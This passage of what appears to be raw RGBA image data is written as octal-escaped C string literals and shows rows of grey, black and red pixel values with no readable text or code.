"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\367\000\000\377\321\000\000\377\270\000\000\377\273\000"
"\000\377\273\000\000\377\276\000\000\377\331\000\000\377\367\000\000\377\215\000\000\377\000\000\000"
"\377^^^\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\227\224\224"
"\377ppp\377ppp\342ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\231"
"\231\231\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\275\275\275\377\025\024"
"\024\377\000\000\000\377o\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\277\000\000\377\015\000\000\377\000\000\000\377\034"
"\000\000\377\352\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\362\000\000\377\252\000\000\377[\000\000\377\037\000\000"
"\377\002\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\011\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202"
"\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\227\224\224\377ppp\377ppp\342ppp\377ppp\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377}||\377ppp\377\231\231\231\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\313\313"
"\313\377,,,\377\000\000\000\377C\000\000\377\373\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\342"
"\000\000\377\273\000\000\377\354\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\212\000\000\377\007\000\000\377\000\000\000"
"\377\000\000\000\377\000\000\000\377\006\006\006\377!!!\377\067\067\067\377\070\070\070\377\070\070"
"\070\377\070\070\070\377###\377\007\007\007\377\000\000\000\377\000\000\000\377www\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\227\224\224\377ppp\377ppp\342"
"ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\231\231\231\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377XXX\377\000\000\000\377\"\000\000\377\354\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\061\000\000"
"\377\000\000\000\377)))\377nnn\377\257\257\257\377\321\321\321\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\321\321\321\377\274\274\274\377\260\260\260\377\321\321\321"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\227\224\224\377"
"ppp\377ppp\342ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\231\231"
"\231\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\233\233\233\377\001\001\001\377\006\000\000\377\317\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\061\000\000\377\000\000\000\377\252\252\252\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377"
"\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\227\223\223\377ppp\377ppp\343ppp\377ppp\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377}||\377ppp\377\231\231\231\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\304\304\304\377\025\025\025\377\000\000"
"\000\377\210\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\061\000\000\377\000\000\000\377"
"\252\252\252\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\227\223\223"
"\377ppp\377ppp\343ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\231"
"\231\231\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377SSS\377\000\000\000\377\064\000\000\377\373\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\062\000\000\377\000\000\000\377\251\251\251\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202"
"\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\227\223\223\377ppp\377ppp\343ppp\377ppp\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377}||\377ppp\377\231\231\231\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\253\253\253\377\002\001\001\377\007\000\000\377\324\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\062\000\000\377\000\000\000\377\251\251\251"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\227\223\223\377ppp\377p"
"pp\343ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\231\231\231\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377;;;\377\000\000\000\377r\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\313\000\000\377Z\000\000\377\341\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\063\000\000\377\000\000\000"
"\377\250\250\250\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\321\321\321"
"\377\245\245\245\377www\377\261\261\261\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\227\224\224\377ppp\377"
"ppp\344ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\231\231\231\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\234\234\234\377\000\000\000\377\013\000\000\377\332"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\331\000\000\377\024\000\000\377\000\000\000\377\216\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\063\000\000\377"
"\000\000\000\377\250\250\250\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\321\321\321\377\243\243\243\377^^^\377\031\031\031\377\000\000"
"\000\377\000\000\000\377\065\065\065\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\217"
"\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\227\224\224\377ppp\377ppp\344pp"
"p\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\231\231\231\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\321\321\321\377\031\031\031\377\000\000\000\377\000\000\000\377\017\000\000\377\200"
"\000\000\377\362\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\355"
"\000\000\377!\000\000\377\000\000\000\377\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\063\000\000\377\000\000\000\377\250"
"\250\250\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\320\320\320\377\241\241\241\377\\\\\\\377\030"
"\030\030\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\"\377\000\000\010\377\002\002\003\377\300"
"\300\300\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\313\313\313\377\220\220\220\377ccc\377"
"\270\270\270\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\227"
"\224\224\377ppp\377ppp\344ppp\377ppp\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377p"
"pp\377\231\231\231\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\232\232\232\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377\024\000\000\377\213\000\000\377\365\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\376\000\000\377M\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\212\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\064\000\000"
"\377\000\000\000\377\247\247\247\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
